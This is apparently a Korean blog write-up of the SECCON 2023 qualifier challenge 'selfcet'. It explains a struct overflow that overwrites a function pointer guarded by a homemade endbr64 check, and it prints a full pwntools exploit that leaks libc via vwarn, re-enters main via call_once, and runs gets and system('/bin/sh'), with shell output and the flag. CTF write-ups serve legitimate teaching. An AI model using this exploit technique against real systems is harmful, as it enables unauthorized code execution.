[CTF][2023] SECCON Qual - selfcet

2024. 3. 2. 16:54·CTF/2023

문제개요

author:ptr-yudai
I wrote Software CET because Intel CET is not yet widely available.

nc selfcet.seccon.games 9999
selfcet.tar.gz 799116aecdcba7519d6778fda8d7c2914e75d979

Files

  • main.c
  • xor (executable)

요약

- Simple stack buffer overflow
- 바이러니 내에 구현된 CET(Control-Flow Enforcement Technology) 보호기법을 우회하여 익스플로잇

1. Analysis

main.c

int main() {
  ctx_t ctx = { .error = NULL, .status = 0, .throw = err };

  read_member(&ctx, offsetof(ctx_t, key), sizeof(ctx));
  read_member(&ctx, offsetof(ctx_t, buf), sizeof(ctx));

  encrypt(&ctx);
  write(STDOUT_FILENO, ctx.buf, KEY_SIZE);

  return 0;
}
  • main 함수는 read_memeber() 함수를 2번 호출하여 데이터(xor_key, plaintext)를 입력받고 encrypt() 함수로 두 데이터를 xor 연산 후 출력한다.
  • ctx_t 구조체는 아래와 같다.
typedef struct {
  char key[KEY_SIZE];
  char buf[KEY_SIZE];
  const char *error;
  int status;
  void (*throw)(int, const char*, ...);
} ctx_t;
  • read_member() 함수는 3개의 인자를 받아, ctx_t 객체 + offset에 size 만큼 사용자 입력을 받는 역할을 한다.
  • main() 함수에서 ctx_t.key와 ctx_t.buf 멤버 변수의 offset을 인자로 사용했지만, 사용자로부터 입력받을 데이터의 최대 크기인 size인자로 sizeof(ctx_t)를 사용하기 때문에 overflow가 발생한다.
void read_member(ctx_t *ctx, off_t offset, size_t size) {
  if (read(STDIN_FILENO, (void*)ctx + offset, size) <= 0) {
    ctx->status = EXIT_FAILURE;
    ctx->error = "I/O Error";
  }
  ctx->buf[strcspn(ctx->buf, "\n")] = '\0';

  if (ctx->status != 0)
    CFI(ctx->throw)(ctx->status, ctx->error);
}

void encrypt(ctx_t *ctx) {
  for (size_t i = 0; i < KEY_SIZE; i++)
    ctx->buf[i] ^= ctx->key[i];
}
  • ctx_t 구조체에 ctx_t.throw라는 함수 포인터가 멤버변수로 존재하기 때문에, 해당 함수 포인터를 조작하여 rip를 control 할 수 있을 것으로 보인다.
  • 하지만 아래와 같이 ctx->throw() 호출 전에 CFI(Control Flow Integrity) 매크로를 사용하여 검증하는 루틴이 존재한다.
  • CFI(ctx->throw)(ctx->status, ctx->error);

1.3. Simple CFI

  • CFI 매크로는 아래와 같이 호출하고자 하는 함수의 첫 instruction이 endbr64 (end branch64)인지 검증하고 trap()을 발생시킨다.
  • CET의 기능을 간단하게 구성한 것으로 보인다.
#define INSN_ENDBR64 (0xF30F1EFA) /* endbr64 */
#define CFI(f)                                              \
  ({                                                        \
    if (__builtin_bswap32(*(uint32_t*)(f)) != INSN_ENDBR64) \
      __builtin_trap();                                     \
    (f);                                                    \
  })

Endbr64(endbranch 32/64) 명령어는 indirect branch tracking에 사용되는 명령어

  • CET가 활성화 된 시스템에서는 indirect branch (jmp, call) 이후에 endbr32/64 명령어가 나오지 않으면 control protection 예외(#CP)가 발생) (https://core-research-team.github.io/2020-05-01/memory)
  • CET가 활성화되지 않은 시스템에서는 nop으로 처리

2. Exploitation

2.1. Memory leak

  • throw 핸들러의 초기 값인 err과 상위 6byte가 같은 libc 함수인__GI_vwarn()을 활용했다.
  • 0x7ffff7d20ff0 <__GI_vwarn>: endbr64
  • vwarn 함수는 아래와 같이 구성된다.
void
__vwarn_internal (const char *format, __gnuc_va_list ap,
           unsigned int mode_flags)
{
  int error = errno;
  flockfile (stderr);
  if (format != NULL)
    {
      __fxprintf (stderr, "%s: ", __progname);
      __vfxprintf (stderr, format, ap, mode_flags);
      __set_errno (error);
      __fxprintf (stderr, ": %m\n");
    }
  else
    {
      __set_errno (error);
      __fxprintf (stderr, "%s: %m\n", __progname);
    }
  funlockfile (stderr);
}
  • 1번 인자(format)가 가리키는 주소에서 값을 출력해주기 때문에 해당함수를 사용하여 메모리를 릭할 수 있다.
################# 1st main ##################
#### leak libc
'''
   0x7ffff7d20ff0 <__GI_vwarn>: endbr64 
'''
leak_payload = b''
leak_payload += b'k' * KEY_SIZE
leak_payload += b'b' * KEY_SIZE
leak_payload += p64(write_got)
leak_payload += p32(write_got)
leak_payload += p32(0x00000000)
leak_payload += b'\xf0\x0f'   # 0x7ffff7d20ff0 <__GI_vwarn>: endbr64 
ss(leak_payload)
if rr(5, timeout=1) != b'xor: ':
    s.close()
    exit(-1)
leaked = u64(rr(6).ljust(8, b'\x00'))
ru(b': Success\n')

2.2. Return to main

  • main() 함수에서 read_member() 함수를 한번 더 호출하기 때문에 공격자는 2.1.을 통해 libc 주소를 아는 상태에서 다시 한 번 취약점을 트리거할 수 있다.
  • 하지만 바로 쉘을 획득하기에는 약간의 제약조건이 존재한다.
    1. CFI로 인해 one gadget을 포함한 다른 가젯들을 사용할 수 없다.
    2. 첫 번째 인자는 32bit 주소여야 한다.
    3. 2.로 인해 첫 번째 인자는 문제 바이너리의 주소로 한정되는데, 아직 해당 메모리에는 libc_system() 함수의 인자로 사용할 문자열("/bin/sh" 등)이 준비되어있지 않다.
  • 따라서 쉘 획득을 위해서는 최소 2번의 라이브러리 호출이 필요하기 때문에 main() 함수를 다시 호출하여 취약점을 처음부터 다시 트리거하는 방법을 활용한다.
  • 하지만 CFI로 인해 endbr64 명령으로 시작하지않는 main() 함수의 직접 호출이 제한되어 우회할 방법이 필요하다.

// __libc_start_main을 사용하여 main() 함수를 호출하고자 했지만, 인자구성으로 인해 안타깝게도 자신을 무한히 재귀호출하여 main()을 호출하지 못했음

call_once

  • (1)endbr64 명령으로 시작하는 함수, (2)인자로 함수의 주소를 받아 호출해하는 함수라는 두 조건을 만족하는 함수를 구글링하던 중 call_once()라는 라이브러리 함수를 발견했다.
  • call_once 함수는 C++11부터 제공되는 함수이며, multi-thread 환경에서 특정함수를 단 한 번만 호출하도록 할 수 있는 (Singleton 패턴을 지원하는) 함수이다.
#include <threads.h>
void call_once (once_flag * flag, void * func (void));

call_once example

  • once.c (출처 : https://cafemocamoca.tistory.com/220)
// https://cafemocamoca.tistory.com/220
#include <iostream>
#include <thread>
#include <mutex>
std::once_flag onceFlag;

void do_once() {
    std::call_once(onceFlag, []() { std::cout << "Only once." << std::endl; });
}
int main()
{
    std::cout << std::endl;

    std::thread t1(do_once);
    std::thread t2(do_once);
    std::thread t3(do_once);
    std::thread t4(do_once);

    t1.join();
    t2.join();
    t3.join();
    t4.join();

    return 0;
}
  • 실행결과
Only once.

call_once 함수를 활용한 main() 함수 호출

  • call_once(flag, main)호출을 통해 main()을 다시 호출할 수 있다.
#### return to main
'''
--
000000000009d550 <call_once@@GLIBC_2.34>:
   9d550:       f3 0f 1e fa             endbr64 
--
'''
main_payload = b''
main_payload += b'b' * KEY_SIZE
main_payload += p64(main)
main_payload += p32(zero_ptr)
main_payload += p32(0)
main_payload += p64(libc_call_once)
ss(main_payload)
time.sleep(0.2)

2.3. gets(&bss_memory); system(&bss_memory);

  • libc 주소를 알고있는 상태에서 다시 main()함수를 호출했기 때문에, 공격자는 원하는 함수를 호출할 수 있다.
  • 먼저 gets() 함수를 호출하여 .bss에 "/bin/sh"를 입력받고, 이후 system() 함수를 호출하여 "/bin/sh"를 실행한다.
#### gets("/bin/sh")
gets_payload = b'' 
gets_payload += b'k' * KEY_SIZE 
gets_payload += b'b' * KEY_SIZE 
gets_payload += p64(0) 
gets_payload += p32(bss) 
gets_payload += p32(0) 
gets_payload += p64(libc_gets) 
ss(gets_payload) 
time.sleep(0.2) 
sl(b'/bin/sh\x00') 
time.sleep(0.2)`

#### system("/bin/sh")
system_payload = b''  
system_payload += b'b' \* KEY\_SIZE  
system_payload += p64(0)  
system_payload += p32(bss)  
system_payload += p32(0)  
system_payload += p64(libc\_system)  
ss(system_payload)  
time.sleep(0.2)  
#############################################  
s.interactive()

3. Exploit


#!/usr/bin/python

from pwn import *
import time

context.log_level = 'error'

#s = process('./xor')
s = remote('selfcet.seccon.games', 9999)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

write_got = 0x403fd0
read_member = 0x4010f6
main = 0x401209
bss = 0x404028
zero_ptr = bss - 8

KEY_SIZE = 0x20

################# 1st main ##################
#### leak libc
'''
   0x7ffff7d20ff0 <__GI_vwarn>: endbr64 
'''
leak_payload = b''
leak_payload += b'k' * KEY_SIZE
leak_payload += b'b' * KEY_SIZE
leak_payload += p64(write_got)
leak_payload += p32(write_got)
leak_payload += p32(0x00000000)
leak_payload += b'\xf0\x0f'   # 0x7ffff7d20ff0 <__GI_vwarn>: endbr64 
ss(leak_payload)
if rr(5, timeout=1) != b'xor: ':
    s.close()
    exit(-1)
leaked = u64(rr(6).ljust(8, b'\x00'))
ru(b': Success\n')

libc_base = leaked - 0x114a20   # write@libc - offset
libc_system = libc_base + 0x50d60
libc_start_main = libc_base + 0x29dc0
libc_gets = libc_base + 0x805a0
libc_puts = libc_base + 0x80ed0
libc_call_once = libc_base + 0x9d550
libc_start_call_main = libc_base + 0x29d10
libc_start_main_impl = libc_base + 0x29dc0
print(hex(libc_base))
print(hex(libc_system))
time.sleep(0.2)

#### return to main
'''
--
000000000009d550 <call_once@@GLIBC_2.34>:
   9d550:       f3 0f 1e fa             endbr64 
--
'''
main_payload = b''
main_payload += b'b' * KEY_SIZE
main_payload += p64(main)
main_payload += p32(zero_ptr)
main_payload += p32(0)
main_payload += p64(libc_call_once)
ss(main_payload)
time.sleep(0.2)
#############################################
################# 2nd main ##################
#### gets("/bin/sh")
gets_payload = b''
gets_payload += b'k' * KEY_SIZE
gets_payload += b'b' * KEY_SIZE
gets_payload += p64(0)
gets_payload += p32(bss)
gets_payload += p32(0)
gets_payload += p64(libc_gets)
ss(gets_payload)
time.sleep(0.2)
sl(b'/bin/sh\x00')
time.sleep(0.2)

#### system("/bin/sh")
system_payload = b''
system_payload += b'b' * KEY_SIZE
system_payload += p64(0)
system_payload += p32(bss)
system_payload += p32(0)
system_payload += p64(libc_system)
ss(system_payload)
time.sleep(0.2)
#############################################
s.interactive()
s.close()
$ while [ 1 ] ; do python ex.py ; sleep 1 ; done 
0x7f4a79060000
0x7f4a790b0d60
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ cat /flag*
SECCON{b7w_CET_1s_3n4bL3d_by_arch_prctl}

Flag : SECCON{b7w_CET_1s_3n4bL3d_by_arch_prctl}

저작자표시 비영리 변경금지 (새창열림)

'CTF > 2023' 카테고리의 다른 글

[CTF][2023] CCE 2023 QUAL - babykernel  (0) 2024.03.18
[CTF][2023] CCE 2023 Qual - babyweb_1  (0) 2024.03.12
[CTF][2023] Whitehat contest Qual - pwn1  (0) 2024.03.02
[CTF][2023] CTFZone Qual 2023 - dead or alive 2  (0) 2024.03.02
'CTF/2023' 카테고리의 다른 글
  • [CTF][2023] CCE 2023 QUAL - babykernel
  • [CTF][2023] CCE 2023 Qual - babyweb_1
  • [CTF][2023] Whitehat contest Qual - pwn1
  • [CTF][2023] CTFZone Qual 2023 - dead or alive 2
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    csaw
    정보보호올림피아드
    vuln
    power of community
    pwnables
    POC
    csaw ctf
    HUST
    후기
    web
    gnuboard
    HUST2011
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
[CTF][2023] SECCON Qual - selfcet
상단으로

티스토리툴바